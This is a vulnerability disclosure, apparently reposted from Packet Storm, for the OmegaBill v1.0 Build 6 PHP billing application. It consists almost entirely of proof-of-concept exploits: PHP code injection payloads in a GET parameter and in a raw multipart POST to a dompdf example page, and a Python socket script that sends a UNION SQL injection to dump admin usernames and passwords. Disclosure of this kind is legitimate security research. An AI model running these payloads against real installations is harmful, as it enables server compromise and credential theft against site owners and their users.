Source: http://packetstormsecurity.org/files/view/98480/OmegaBillv1.0Build6-php.txt

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Software................OmegaBill v1.0 Build 6
Vulnerability...........Arbitrary PHP Execution
Download................http://sourceforge.net/projects/omegabill/
Release Date............2/11/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
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--PoC--

Vulnerability 1:

http://localhost/OmegaBill_v1.0_Build6/clients/download_invoice.php?invoiceid=<?php system("calc.exe"); ?>

Vulnerability 2:

POST http://localhost/OmegaBill_v1.0_Build6/plugins/dompdf/www/examples.php HTTP/1.1
Host: localhost
Connection: keep-alive
User-Agent: x
Content-Length: 93
Cache-Control: max-age=0
Origin: null
Content-Type: multipart/form-data; boundary=----x
Accept: text/html
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

------x
Content-Disposition: form-data; name="html"

<?php system("calc.exe"); ?>
------x--

SQL Injection:

# ------------------------------------------------------------------------
# Software................OmegaBill v1.0 Build 6
# Vulnerability...........Authentication Bypass/SQL Injection
# Download................http://sourceforge.net/projects/omegabill/
# Release Date............2/11/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# ------------------------------------------------------------------------
#
# --Description--
#
# An authentication bypass/SQL injection vulnerability in OmegaBill v1.0
# Build 6 can be exploited to retreive a list of usernames and passwords.
#
#
# --PoC--
import socket

host = 'localhost'
path = '/omegabill_v1.0_build6'

port = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)   

s.send('POST ' + path + '/generate_report.php HTTP/1.1\r\n'
       'Host: localhost\r\n'
       'Connection: keep-alive\r\n'
       'User-Agent: x\r\n'
       'Content-Length: 239\r\n'
       'Cache-Control: max-age=0\r\n'
       'Origin: null\r\n'
       'Content-Type: multipart/form-data; boundary=----x\r\n'
       'Accept: text/html\r\n'
       'Accept-Language: en-US,en;q=0.8\r\n'
       'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
       '\r\n'
       '------x\r\n'
       'Content-Disposition: form-data; name="startdate"\r\n'
       '\r\n'
       '\'OR 1 = 1 UNION ALL SELECT CONCAT(username,\':\',password),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM admins;#\r\n'
       '------x\r\n'
       'Content-Disposition: form-data; name="enddate"\r\n'
       '\r\n'
       '\r\n'
       '------x--\r\n'
       '\r\n')

print s.recv(8192)